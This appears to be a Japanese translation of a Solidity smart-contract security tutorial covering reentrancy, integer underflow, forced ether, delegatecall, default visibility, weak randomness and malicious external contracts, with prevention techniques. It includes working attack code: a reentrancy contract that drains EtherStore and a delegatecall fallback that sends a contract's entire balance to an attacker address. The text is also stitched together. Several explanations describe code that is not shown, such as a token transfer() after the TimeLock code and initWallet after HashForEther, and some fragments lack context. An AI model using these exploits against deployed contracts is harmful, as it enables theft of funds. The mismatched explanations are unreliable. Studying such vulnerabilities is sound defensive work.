uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;

function depositFunds() public payable {
    balances[msg.sender] += msg.value;
}

function withdrawFunds (uint256 _weiToWithdraw) public {
    require(balances[msg.sender] >= _weiToWithdraw);
    // limit the withdrawal
    require(_weiToWithdraw <= withdrawalLimit);
    // limit the time allowed to withdraw
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    require(msg.sender.call.value(_weiToWithdraw)());
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
}

このコントラクトには2つの公開関数があります。`depositFunds()` と `withdrawFunds()` です。`depositFunds()` 関数は単純に送信者の残高を増加させます。`withdrawFunds()` 関数は、送信者が引き出すweiの金額を指定できるようにします。この関数は、要求された引き出し金額が1 ether未満であり、かつ過去1週間以内に引き出しが行われていない場合にのみ成功します。本当にそうでしょうか?...

脆弱性は、ユーザーに要求された金額のetherを送信する \[17\] 行目にあります。次のようなコントラクトを作成する悪意のある攻撃者を考えてみてください。

Attack.sol:```solidity
import "EtherStore.sol";

contract Attack {
  EtherStore public etherStore;

  // initialise the etherStore variable with the contract address
  constructor(address _etherStoreAddress) {
      etherStore = EtherStore(_etherStoreAddress);
  }

  function pwnEtherStore() public payable {
      // attack to the nearest ether
      require(msg.value >= 1 ether);
      // send eth to the depositFunds() function
      etherStore.depositFunds.value(1 ether)();
      // start the magic
      etherStore.withdrawFunds(1 ether);
  }

  function collectEther() public {
      msg.sender.transfer(this.balance);
  }

  // fallback function - where the magic happens
  function () payable {
      if (etherStore.balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }
}

// initialise the mutex
bool reEntrancyMutex = false;
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;

function depositFunds() public payable {
    balances[msg.sender] += msg.value;
}

function withdrawFunds (uint256 _weiToWithdraw) public {
    require(!reEntrancyMutex);
    require(balances[msg.sender] >= _weiToWithdraw);
    // limit the withdrawal
    require(_weiToWithdraw <= withdrawalLimit);
    // limit the time allowed to withdraw
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
    // set the reEntrancy mutex before the external call
    reEntrancyMutex = true;
    msg.sender.transfer(_weiToWithdraw);
    // release the mutex after the external call
    reEntrancyMutex = false;
}

<h3 id="re-example">実世界の例: The DAO</h3>

[The DAO](https://en.wikipedia.org/wiki/The_DAO_(organization))（分散型自律組織）は、イーサリアムの初期開発において発生した主要なハッキングの1つでした。当時、このコントラクトは1億5,000万米ドル以上を保持していました。再入がこの攻撃において主要な役割を果たし、最終的にEthereum Classic（ETC）を生み出したハードフォークにつながりました。DAOエクスプロイトの優れた分析については、[Phil Daian氏の投稿](http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/)を参照してください。

<h2 id="ouflow"><span id="SP-2">2. 算術オーバーフロー/アンダーフロー</span></h2>

イーサリアム仮想マシン（EVM）は、整数に対して固定サイズのデータ型を規定しています。これは、整数変数が表現できる数値の範囲が限られていることを意味します。例えば、`uint8` は \[0,255\] の範囲の数値しか格納できません。`uint8` に `256` を格納しようとすると、結果は `0` になります。注意を払わない場合、Solidityの変数は、ユーザー入力がチェックされておらず、格納先のデータ型の範囲外の数値を生じる計算が実行されると、悪用される可能性があります。

算術オーバーフロー/アンダーフローの詳細については、[スマートコントラクトを保護する方法](https://medium.com/loom-network/how-to-secure-your-smart-contracts-6-solidity-vulnerabilities-and-how-to-avoid-them-part-1-c33048d4d17d)、[Ethereumスマートコントラクトのベストプラクティス](https://consensys.github.io/smart-contract-best-practices/known_attacks/#integer-overflow-and-underflow)、および[イーサリアム、Solidity、整数オーバーフロー: 1970年のようにブロックチェーンをプログラミングする](https://randomoracle.wordpress.com/2018/04/27/ethereum-solidity-and-integer-overflows-programming-blockchains-like-1970/)を参照してください。

<h3 id="ou-vuln">脆弱性</h3>

オーバーフロー/アンダーフローは、固定サイズの変数が、その変数のデータ型の範囲外の数値（またはデータ）を格納する必要がある操作が実行されると発生します。

例えば、値として `0` を格納している `uint8`（8ビットの符号なし整数、つまり正の値のみ）変数から `1` を引くと、結果は `255` になります。これがアンダーフローです。`uint8` の範囲を下回る数値を代入したため、結果は*ラップアラウンド*し、`uint8` が格納できる最大の数値になります。同様に、`uint8` に `2^8=256` を加えても、`uint` 全体を一周することになるため、変数は変わりません（数学好きの方には、三角関数の角度に $2\pi$ を加えるのと似ています。$\sin(x) = \sin(x+2\pi)$）。データ型の範囲より大きい数値を加えることをオーバーフローと呼びます。明確にするため、現在ゼロ値の `uint8` に `257` を加えると、結果は `1` になります。固定型変数は循環的であると考えると参考になることがあります。格納可能な最大の数値を超える数値を加えるとゼロから再び始まり、ゼロの場合も同様に逆方向に働きます（0から引き算するほど、最大値から下に数えていくことになります）。

この種の数値的な落とし穴により、攻撃者はコードを悪用して意図しないロジックフローを引き起こすことができます。例えば、以下のタイムロック契約を考えてみてください。

TimeLock.sol:```solidity
contract TimeLock {

    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = now + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0);
        require(now > lockTime[msg.sender]);
        uint transferValue = balances[msg.sender];
        balances[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
}

これは、`transfer()` 関数を採用したシンプルなトークンコントラクトであり、参加者がトークンを移動できるようにするものです。このコントラクトのエラーに気づけますか？

問題は `transfer()` 関数にあります。\[13\] 行目の require ステートメントは、アンダーフローを利用してバイパスできます。残高を持たないユーザーを考えてみましょう。そのユーザーは、ゼロ以外の任意の `_value` を指定して `transfer()` 関数を呼び出し、\[13\] 行目の require ステートメントを通過できます。これは、`balances[msg.sender]` がゼロ（かつ `uint256`）であるため、任意の正の金額（`2^256` を除く）を減算すると、上記で説明したアンダーフローにより正の数になるからです。これは \[14\] 行目にも当てはまり、残高には正の数が加算されます。したがって、この例では、アンダーフローの脆弱性によって無料のトークンを獲得できてしまいます。

<h3 id="ou-prevention">防止技術</h3>

（現時点での）アンダーフロー／オーバーフローの脆弱性を防ぐための一般的な手法は、標準の算術演算子（加算、減算、乗算）を置き換える数学ライブラリを使用または構築することです（除算はオーバーフロー／アンダーフローを引き起こさず、EVM は 0 による除算でリバートするため除外されます）。

[OppenZepplin](https://github.com/OpenZeppelin/zeppelin-solidity) は、Ethereum コミュニティが活用できる安全なライブラリの構築と監査において素晴らしい仕事をしています。特に、[Safe Math Library](https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol) は、アンダー／オーバーフローの脆弱性を回避するために使用するリファレンスまたはライブラリです。

これらのライブラリが Solidity でどのように使用されるかを示すために、Open Zepplin の `SafeMath` ライブラリを使用して `TimeLock` コントラクトを修正しましょう。オーバーフローのないコントラクトは次のようになります。```solidity
library SafeMath {

  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract TimeLock {
    using SafeMath for uint; // use the library for uint type
    mapping(address => uint256) public balances;
    mapping(address => uint256) public lockTime;

    function deposit() public payable {
        balances[msg.sender] = balances[msg.sender].add(msg.value);
        lockTime[msg.sender] = now.add(1 weeks);
    }

    function increaseLockTime(uint256 _secondsToIncrease) public {
        lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
    }

    function withdraw() public {
        require(balances[msg.sender] > 0);
        require(now > lockTime[msg.sender]);
        uint transferValue = balances[msg.sender];
        balances[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
}

uint public payoutMileStone1 = 3 ether;
uint public mileStone1Reward = 2 ether;
uint public payoutMileStone2 = 5 ether;
uint public mileStone2Reward = 3 ether;
uint public finalMileStone = 10 ether;
uint public finalReward = 5 ether;

mapping(address => uint) redeemableEther;
// users pay 0.5 ether. At specific milestones, credit their accounts
function play() public payable {
    require(msg.value == 0.5 ether); // each play is 0.5 ether
    uint currentBalance = this.balance + msg.value;
    // ensure no players after the game as finished
    require(currentBalance <= finalMileStone);
    // if at a milestone credit the players account
    if (currentBalance == payoutMileStone1) {
        redeemableEther[msg.sender] += mileStone1Reward;
    }
    else if (currentBalance == payoutMileStone2) {
        redeemableEther[msg.sender] += mileStone2Reward;
    }
    else if (currentBalance == finalMileStone ) {
        redeemableEther[msg.sender] += finalReward;
    }
    return;
}

function claimReward() public {
    // ensure the game is complete
    require(this.balance == finalMileStone);
    // ensure there is a reward to give
    require(redeemableEther[msg.sender] > 0);
    uint transferValue = redeemableEther[msg.sender];
    redeemableEther[msg.sender] = 0;
    msg.sender.transfer(transferValue);
}

このコントラクトは単純なゲームを表しています（これは自然と[race-conditions](#race-conditions)を引き起こすでしょう）。プレイヤーは`0.5 ether`の量子をコントラクトに送り、3つのマイルストーンのいずれかに最初に到達するプレイヤーになることを期待します。マイルストーンはetherで表示されます。最初にマイルストーンに到達したプレイヤーは、ゲーム終了時にetherの一部を請求できます。ゲームは最終マイルストーン（`10 ether`）に到達すると終了し、ユーザーは報酬を請求できます。

`EtherGame`コントラクトの問題は、\[14\]行目（および関連して\[16\]行目）と\[32\]行目での`this.balance`の不適切な使用に起因します。悪意のある攻撃者は、`selfdestruct()`関数（前述）を介して少量のether、たとえば`0.1 ether`を強制的に送信し、将来のプレイヤーがマイルストーンに到達するのを防ぐことができます。すべての正当なプレイヤーは`0.5 ether`単位でしか送信できないため、`this.balance`はもはや半整数ではなくなり、`0.1 ether`の分も加算されることになります。これにより、\[18\]行目、\[21\]行目、\[24\]行目のすべてのif条件が真になるのを防ぎます。

さらに悪いことに、マイルストーンを逃した復讐心に燃える攻撃者は、`10 ether`（またはコントラクトの残高を`finalMileStone`を超えて押し上げるのに相当する量のether）を強制的に送信し、コントラクト内のすべての報酬を永久にロックすることができます。これは、\[32\]行目のrequire（つまり`this.balance`が`finalMileStone`より大きい）により、`claimReward()`関数が常にrevertするためです。

<h3 id="ether-prevention">予防技術</h3>

この脆弱性は、通常、`this.balance`の誤用から発生します。コントラクトのロジックは、可能な限りコントラクトの残高の正確な値に依存しないようにすべきです。なぜなら、それは人為的に操作される可能性があるからです。`this.balance`に基づいてロジックを適用する場合は、予期しない残高を考慮に入れるようにしてください。

預けられたetherの正確な値が必要な場合は、payable関数でインクリメントされる独自の変数を使用して、預けられたetherを安全に追跡する必要があります。この変数は、`selfdestruct()`呼び出しによって強制的に送信されたetherの影響を受けません。

このことを踏まえると、`EtherGame`コントラクトの修正版は次のようになります：```solidity
contract EtherGame {

    uint public payoutMileStone1 = 3 ether;
    uint public mileStone1Reward = 2 ether;
    uint public payoutMileStone2 = 5 ether;
    uint public mileStone2Reward = 3 ether;
    uint public finalMileStone = 10 ether;
    uint public finalReward = 5 ether;
    uint public depositedWei;

    mapping (address => uint) redeemableEther;

    function play() public payable {
        require(msg.value == 0.5 ether);
        uint currentBalance = depositedWei + msg.value;
        // ensure no players after the game as finished
        require(currentBalance <= finalMileStone);
        if (currentBalance == payoutMileStone1) {
            redeemableEther[msg.sender] += mileStone1Reward;
        }
        else if (currentBalance == payoutMileStone2) {
            redeemableEther[msg.sender] += mileStone2Reward;
        }
        else if (currentBalance == finalMileStone ) {
            redeemableEther[msg.sender] += finalReward;
        }
        depositedWei += msg.value;
        return;
    }

    function claimReward() public {
        // ensure the game is complete
        require(depositedWei == finalMileStone);
        // ensure there is a reward to give
        require(redeemableEther[msg.sender] > 0);
        uint transferValue = redeemableEther[msg.sender];
        redeemableEther[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
 }

// modify the zeroth number in the sequence
function setStart(uint _start) public {
    start = _start;
}

function setFibonacci(uint n) public {
    calculatedFibNumber = fibonacci(n);
}

function fibonacci(uint n) internal returns (uint) {
    if (n == 0) return start;
    else if (n == 1) return start + 1;
    else return fibonacci(n - 1) + fibonacci(n - 2);
}

このライブラリは、数列における *n* 番目のフィボナッチ数を生成する関数を提供します。ユーザーは数列の開始番号 (`start`) を変更し、この新しい数列における *n* 番目のフィボナッチ類似数を計算できます。

では、このライブラリを利用するコントラクトを考えてみましょう。

`FibonacciBalance.sol`:```solidity
contract FibonacciBalance {

    address public fibonacciLibrary;
    // the current fibonacci number to withdraw
    uint public calculatedFibNumber;
    // the starting fibonacci sequence number
    uint public start = 3;
    uint public withdrawalCounter;
    // the fibonancci function selector
    bytes4 constant fibSig = bytes4(sha3("setFibonacci(uint256)"));

    // constructor - loads the contract with ether
    constructor(address _fibonacciLibrary) public payable {
        fibonacciLibrary = _fibonacciLibrary;
    }

    function withdraw() {
        withdrawalCounter += 1;
        // calculate the fibonacci number for the current withdrawal user
        // this sets calculatedFibNumber
        require(fibonacciLibrary.delegatecall(fibSig, withdrawalCounter));
        msg.sender.transfer(calculatedFibNumber * 1 ether);
    }

    // allow users to call fibonacci library functions
    function() public {
        require(fibonacciLibrary.delegatecall(msg.data));
    }
}

// fallback - this will run if a specified function is not found
function() public {
    storageSlot1 = 0; // we set calculatedFibNumber to 0, so that if withdraw
    // is called we don't send out any ether.
    <attacker_address>.transfer(this.balance); // we take all the ether
}

注意：この攻撃コントラクトは、ストレージ `slot[1]` を変更することで `calculatedFibNumber` を改変しています。原理的には、攻撃者は任意の他のストレージスロットを変更して、このコントラクトに対してあらゆる種類の攻撃を行うことができます。すべての読者には、これらのコントラクトを [Remix](https://remix.ethereum.org) に取り込み、さまざまな攻撃コントラクトや状態変更をこれらの `delegatecall` 関数を通じて試すことをお勧めします。

また、`delegatecall` が状態を保持すると言う場合、コントラクトの変数名について話しているのではなく、その名前が指す実際のストレージスロットについて話していることに注意することも重要です。この例からわかるように、単純なミスが、攻撃者によるコントラクト全体とそのetherの乗っ取りにつながる可能性があります。

<h3 id="dc-prevention">予防手法</h3>

Solidity はライブラリコントラクトを実装するための `library` キーワードを提供しています（詳細は [Solidity Docs](http://solidity.readthedocs.io/en/latest/contracts.html?highlight=library#libraries) を参照）。これにより、ライブラリコントラクトがステートレスで自己破壊不可能であることが保証されます。ライブラリをステートレスに強制することで、このセクションで示したストレージコンテキストの複雑さを軽減できます。ステートレスなライブラリはまた、攻撃者がライブラリのコードに依存するコントラクトに影響を与えるためにライブラリの状態を直接変更する攻撃を防ぎます。
一般的な経験則として、`DELEGATECALL` を使用する際は、ライブラリコントラクトと呼び出し側コントラクトの両方の可能な呼び出しコンテキストに細心の注意を払い、可能な限りステートレスなライブラリを構築してください。

<h3 id="dc-example">実世界の例: Parity Multisig Wallet（2回目のハック）</h3>

2回目の Parity Multisig Wallet ハックは、適切に記述されたライブラリコードが意図しないコンテキストで実行された場合に、そのコンテキストが悪用される例です。このハックには優れた解説が多数あります。例えば、Anthony Akentiev による概要 [Parity MultiSig Hacked. Again](https://medium.com/chain-cloud-company-blog/parity-multisig-hack-again-b46771eaa838)、この [stack exchange の質問](https://ethereum.stackexchange.com/questions/30128/explanation-of-parity-library-suicide/30130)、そして [An In-Depth Look at the Parity Multisig Bug](http://hackingdistributed.com/2017/07/22/deep-dive-parity-bug/) です。

これらの参考文献に加えて、悪用されたコントラクトを調べてみましょう。ライブラリとウォレットのコントラクトは、parity の github の [ここ](https://github.com/paritytech/parity/blob/b640df8fbb964da7538eef268dffc125b081a82f/js/src/contracts/snippets/enhanced-wallet.sol) にあります。

このコントラクトの関連する側面を見てみましょう。ここには重要な2つのコントラクト、ライブラリコントラクトとウォレットコントラクトが含まれています。

ライブラリコントラクトは、```solidity
contract WalletLibrary is WalletEvents {

  ...

  // throw unless the contract is not yet initialized.
  modifier only_uninitialized { if (m_numOwners > 0) throw; _; }

  // constructor - just pass on the owner array to the multiowned and
  // the limit to daylimit
  function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
    initDaylimit(_daylimit);
    initMultiowned(_owners, _required);
  }

  // kills the contract sending everything to `_to`.
  function kill(address _to) onlymanyowners(sha3(msg.data)) external {
    suicide(_to);
  }

  ...

}

`Wallet` コントラクトは、すべての呼び出しをデリゲートコールを介して `WalletLibrary` コントラクトに渡していることに注目してください。このコードスニペット内の定数 `_walletLibrary` アドレスは、実際にデプロイされた `WalletLibrary` コントラクト（`0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4` に存在）のプレースホルダーとして機能します。

これらのコントラクトの意図された動作は、コードベースと主要な機能が `WalletLibrary` コントラクトにある、シンプルで低コストにデプロイ可能な `Wallet` コントラクトを持つことでした。残念ながら、`WalletLibrary` コントラクトそれ自体がコントラクトであり、自身の状態を保持しています。これがなぜ問題になるのかお分かりでしょうか？

`WalletLibrary` コントラクト自体に呼び出しを送ることが可能です。具体的には、`WalletLibrary` コントラクトは初期化され、所有されるようになる可能性があります。あるユーザーがこれを行い、`WalletLibrary` コントラクトに対して `initWallet()` 関数を呼び出して、ライブラリコントラクトの所有者になったのです。同じユーザーはその後、`kill()` 関数を呼び出しました。ユーザーはライブラリコントラクトの所有者だったため、modifier の検証を通過し、ライブラリコントラクトは自滅（suicide）しました。存在するすべての `Wallet` コントラクトはこのライブラリコントラクトを参照しており、この参照を変更する手段を持たないため、ether を引き出す機能を含むすべての機能が、`WalletLibrary` コントラクトとともに失われました。もっと直接的に言えば、このタイプのすべての Parity マルチシグウォレット内の全 ether は、即座に失われるか、恒久的に回復不可能になります。

<h2 id="visibility"><span id="SP-5">5. デフォルトの可視性</span></h2>

Solidity の関数には、関数をどのように呼び出せるかを定める可視性指定子があります。可視性によって、関数がユーザーによって外部から呼び出せるか、他の派生コントラクトから呼び出せるか、内部からのみ呼び出せるか、外部からのみ呼び出せるかが決まります。可視性指定子は4つあり、詳細は [Solidity ドキュメント](http://solidity.readthedocs.io/en/latest/contracts.html?highlight=library#visibility-and-getters) に記載されています。関数はデフォルトで `public` となり、ユーザーが外部から呼び出すことができます。可視性指定子の誤った使用は、このセクションで説明するように、スマートコントラクトに壊滅的な脆弱性をもたらす可能性があります。

<h3 id="visibility-vuln">脆弱性</h3>

関数のデフォルトの可視性は `public` です。したがって、可視性を指定しない関数は外部のユーザーから呼び出し可能になります。  問題が発生するのは、開発者が private（またはコントラクト内部からのみ呼び出し可能）にすべき関数で、誤って可視性指定子を省略した場合です。

簡単な例をすばやく見てみましょう。```solidity
contract HashForEther {

    function withdrawWinnings() {
        // Winner if the last 8 hex characters of the address are 0.
        require(uint32(msg.sender) == 0);
        _sendWinnings();
     }

     function _sendWinnings() {
         msg.sender.transfer(this.balance);
     }
}

Notice that neither of the functions have explicitly specified a visibility. Both functions default to `public`. The `initWallet()` function is called in the wallets constructor and sets the owners for the multi-sig wallet as can be seen in the `initMultiowned()` function. Because these functions were accidentally left `public`, an attacker was able to call these functions on deployed contracts, resetting the ownership to the attackers address. Being the owner, the attacker then drained the wallets of all their ether, to the tune of \$31M.

<h2 id="entropy"><span id="SP-6">6. エントロピー錯覚</span></h2>

Ethereumブロックチェーン上のすべてのトランザクションは、決定論的な状態遷移操作です。つまり、すべてのトランザクションはEthereumエコシステムのグローバル状態を変更し、不確実性のない計算可能な方法で変更します。これは最終的に、ブロックチェーンエコシステム内にはエントロピーやランダム性の源泉が存在しないことを意味します。Solidityには `rand()` 関数はありません。分散型エントロピー（ランダム性）を実現することはよく知られた問題であり、これに対処するための多くのアイデアが提案されています（例えば、[RandDAO](https://github.com/randao/randao) や、Vitalikがこの [投稿](https://vitalik.ca/files/randomness.html) で説明しているハッシュチェーンを使用する方法を参照してください）。

<h3 id="entropy-vuln">脆弱性</h3>

Ethereumプラットフォーム上に構築された最初のコントラクトのいくつかは、ギャンブルを中心としたものでした。根本的に、ギャンブルには不確実性（賭ける対象）が必要であり、そのためブロックチェーン（決定論的なシステム）上にギャンブルシステムを構築することはかなり困難です。不確実性はブロックチェーンの外部ソースから得なければならないことは明らかです。これはピア間の賭けでは可能ですが（例えば、[コミット・リビール技術](https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract) を参照）、*ハウス*（ブラックジャックやルーレットのように）として機能するコントラクトを実装したい場合には、はるかに困難です。一般的な落とし穴は、ハッシュ、タイムスタンプ、ブロック番号、ガスリミットなどの将来のブロック変数を使用することです。これらはブロックをマイニングするマイナーによって制御されるため、真にランダムではありません。例えば、次のブロックのハッシュが偶数で終わる場合に黒の数字を返すロジックを持つルーレットスマートコントラクトを考えてみましょう。マイナー（またはマイニングプール）は黒に \\$1M 賭けることができます。次のブロックを解決してハッシュが奇数で終わることを発見した場合、ブロック報酬と手数料が $1M 未満であると仮定すると、ブロックハッシュが偶数になる解決策を見つけるまで、ブロックを公開せずに別のブロックをマイニングするでしょう。過去または現在の変数を使用すると、Martin Swendeが彼の優れた [ブログ記事](http://martin.swende.se/blog/Breaking_the_house.html) で実証しているように、さらに壊滅的になる可能性があります。さらに、ブロック変数のみを使用すると、疑似乱数がブロック内のすべてのトランザクションで同じになるため、攻撃者はブロック内で多数のトランザクションを行うことで勝利を倍増させることができます（最大ベット額がある場合）。

<h3 id="entropy-prevention">予防手法</h3>

エントロピー（ランダム性）の源泉はブロックチェーンの外部でなければなりません。これは、[コミット・リビール](https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract) のようなシステムを使ったピア間、または信頼モデルを参加者のグループに変更すること（[RandDAO](https://github.com/randao/randao) のように）によって実現できます。また、ランダム性オラクルとして機能する中央集権的なエンティティを介して行うこともできます。ブロック変数は（一般に、いくつかの例外はありますが）、マイナーによって操作される可能性があるため、エントロピーの源泉として使用すべきではありません。

<h3 id="entropy-example">実世界の例: PRNGコントラクト</h3>

Arseny Reutovは、何らかの疑似乱数生成器（PRNG）を使用している3649の稼働中のスマートコントラクトを分析した後、悪用される可能性のある43のコントラクトを発見し、[ブログ記事](https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620) を書きました。

<h2 id="contract-reference"><span id="SP-7">7. 外部コントラクト参照</span></h2>

Ethereumの *グローバルコンピュータ* の利点の1つは、コードを再利用し、ネットワーク上にすでにデプロイされたコントラクトと対話できることです。その結果、多くのコントラクトが外部コントラクトを参照し、一般的な操作では外部メッセージ呼び出しを使用してこれらのコントラクトと対話します。これらの外部メッセージ呼び出しは、悪意のある行為者の意図を、いくつかの明白でない方法で隠すことができます。これについては後で説明します。

<h3 id="cr-vuln">脆弱性</h3>

Solidityでは、アドレスのコードがキャストされるコントラクト型を表しているかどうかに関係なく、任意のアドレスをコントラクトとしてキャストできます。これは、特にコントラクトの作成者が悪意のあるコードを隠そうとしている場合に、欺瞞的になる可能性があります。例でこれを説明しましょう：

基本的に [Rot13](https://github.com/al1ex/soliditysecurity/blob/HEAD/www.wikipedia.com/rot13) 暗号を実装するコードを考えてみましょう。

`Rot13Encryption.sol`:```solidity
//encryption contract
contract Rot13Encryption {

   event Result(string convertedString);

    //rot13 encrypt a string
    function rot13Encrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            //inline assembly to modify the string
            assembly {
                char := byte(0,char) // get the first byte
                if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.
                { char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.
                if iszero(eq(char, 0x20)) // ignore spaces
                {mstore8(add(add(text,0x20), mul(i,1)), add(char,13))} // add 13 to char.
            }
        }
        emit Result(text);
    }

    // rot13 decrypt a string
    function rot13Decrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            assembly {
                char := byte(0,char)
                if and(gt(char,0x60), lt(char,0x6E))
                { char:= add(0x7B, sub(char,0x61)) }
                if iszero(eq(char, 0x20))
                {mstore8(add(add(text,0x20), mul(i,1)), sub(char,13))}
            }
        }
        emit Result(text);
    }
}

// constructor - initialise the library
constructor(Rot13Encryption _encryptionLibrary) {
    encryptionLibrary = _encryptionLibrary;
}

function encryptPrivateData(string privateInfo) {
    // potentially do some operations here
    encryptionLibrary.rot13Encrypt(privateInfo);
 }

このコントラクトの問題点は、`encryptionLibrary` アドレスが public でも constant でもないことです。したがって、コントラクトのデプロイヤーは、コンストラクタでこのコントラクトを指すアドレスを指定できた可能性があります:```solidity
//encryption contract
contract Rot26Encryption {

   event Result(string convertedString);

    //rot13 encrypt a string
    function rot13Encrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            //inline assembly to modify the string
            assembly {
                char := byte(0,char) // get the first byte
                if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.
                { char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.
                if iszero(eq(char, 0x20)) // ignore spaces
                {mstore8(add(add(text,0x20), mul(i,1)), add(char,26))} // add 13 to char.
            }
        }
        emit Result(text);
    }

    // rot13 decrypt a string
    function rot13Decrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            assembly {
                char := byte(0,char)
                if and(gt(char,0x60), lt(char,0x6E))
                { char:= add(0x7B, sub(char,0x61)) }
                if iszero(eq(char, 0x20))
                {mstore8(add(add(text,0x20), mul(i,1)), sub(char,26))}
            }
        }
        emit Result(text);
    }
}

function rot13Encrypt(string text) public {
    emit Print(text);
}

If the address of either of these contracts were given in the constructor, the `encryptPrivateData()` function would simply produce an event which prints the unencrypted private data. Although in this example a library-like contract was set in the constructor, it is often the case that a privileged user (such as an `owner`) can change library contract addresses. If a linked contract doesn't contain the function being called, the fallback function will execute. For example, with the line `encryptionLibrary.rot13Encrypt()`, if the contract specified by `encryptionLibrary` was:```solidity
 contract Blank {
     event Print(string text);
     function () {
         emit Print("Here");
         //put malicious code here and it will run
     }
 }

このようにして、参照されるコントラクトのインスタンスはデプロイ時に作成され、デプロイヤーはスマートコントラクトを変更しない限り、`Rot13Encryption` コントラクトを他のものに置き換えることはできません。

別の解決策としては、外部コントラクトのアドレスが既知の場合は、それらをハードコードすることです。

一般に、外部コントラクトを呼び出すコードは常に注意深く調べるべきです。開発者として外部コントラクトを定義する際には、コントラクトアドレスを公開すること（以下のハニーポットの例ではそのようになっていません）は良い考えです。これにより、ユーザーはコントラクトによって参照されているコードを簡単に確認できます。逆に、コントラクトがコントラクトアドレスをプライベート変数として持っている場合、それは誰かが悪意のある行動をとっている兆候である可能性があります（実世界の例で示されているとおり）。特権を持つ（または任意の）ユーザーが、外部関数を呼び出すために使用されるコントラクトアドレスを変更できる場合、（分散型システムの文脈では）タイムロックまたは投票メカニズムを実装して、ユーザーがどのコードが変更されているかを確認できるようにするか、参加者に新しいコントラクトアドレスにオプトイン/オプトアウトする機会を与えることが重要になる場合があります。


<h3 id="cr-example">実世界の例: 再入ハニーポット</h3>

最近、メインネット上で多数のハニーポットが公開されています。これらのコントラクトは、コントラクトを悪用しようとするイーサリアムハッカーを出し抜こうとしますが、そのハッカーたちは結局、悪用するつもりだったコントラクトに対して ether を失うことになります。一例として、コンストラクタ内で期待されるコントラクトを悪意のあるものに置き換えるという上記の攻撃を利用しています。コードは[こちら](https://etherscan.io/address/0x95d34980095380851902ccd9a1fb4c813c2cb639#code)で見つかります:```solidity
pragma solidity ^0.4.19;

contract Private_Bank
{
    mapping (address => uint) public balances;
    uint public MinDeposit = 1 ether;
    Log TransferLog;

    function Private_Bank(address _log)
    {
        TransferLog = Log(_log);
    }

    function Deposit()
    public
    payable
    {
        if(msg.value >= MinDeposit)
        {
            balances[msg.sender]+=msg.value;
            TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
        }
    }

    function CashOut(uint _am)
    {
        if(_am<=balances[msg.sender])
        {
            if(msg.sender.call.value(_am)())
            {
                balances[msg.sender]-=_am;
                TransferLog.AddMessage(msg.sender,_am,"CashOut");
            }
        }
    }

    function() public payable{}

}

contract Log
{
    struct Message
    {
        address Sender;
        string  Data;
        uint Val;
        uint  Time;
    }

    Message[] public History;
    Message LastMsg;

    function AddMessage(address _adr,uint _val,string _data)
    public
    {
        LastMsg.Sender = _adr;
        LastMsg.Time = now;
        LastMsg.Val = _val;
        LastMsg.Data = _data;
        History.push(LastMsg);
    }
}

次に、取引所が大量のトークン（たとえば `REP`）を保有しており、ユーザーが自分の取り分である100トークンを引き出したい場合を考えてみましょう。ユーザーは自分のアドレス `0xdeaddeaddeaddeaddeaddeaddeaddeaddeaddead` とトークン数 `100` を送信します。取引所はこれらのパラメータを `transfer()` 関数で指定された順序、すなわち `address` の次に `tokens` という順序でエンコードします。エンコード結果は `a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeaddead0000000000000` `000000000000000000000000000000000056bc75e2d63100000` となります。最初の4バイト（`a9059cbb`）は `transfer()` の[関数シグネチャ/セレクタ](https://solidity.readthedocs.io/en/latest/abi-spec.html#function-selector)であり、次の32バイトはアドレス、最後の32バイトは `uint256` 型のトークン数を表します。末尾の16進数 `56bc75e2d63100000` が100トークンに相当することに注意してください（`REP` トークンコントラクトで指定されているように、小数点以下18桁です）。

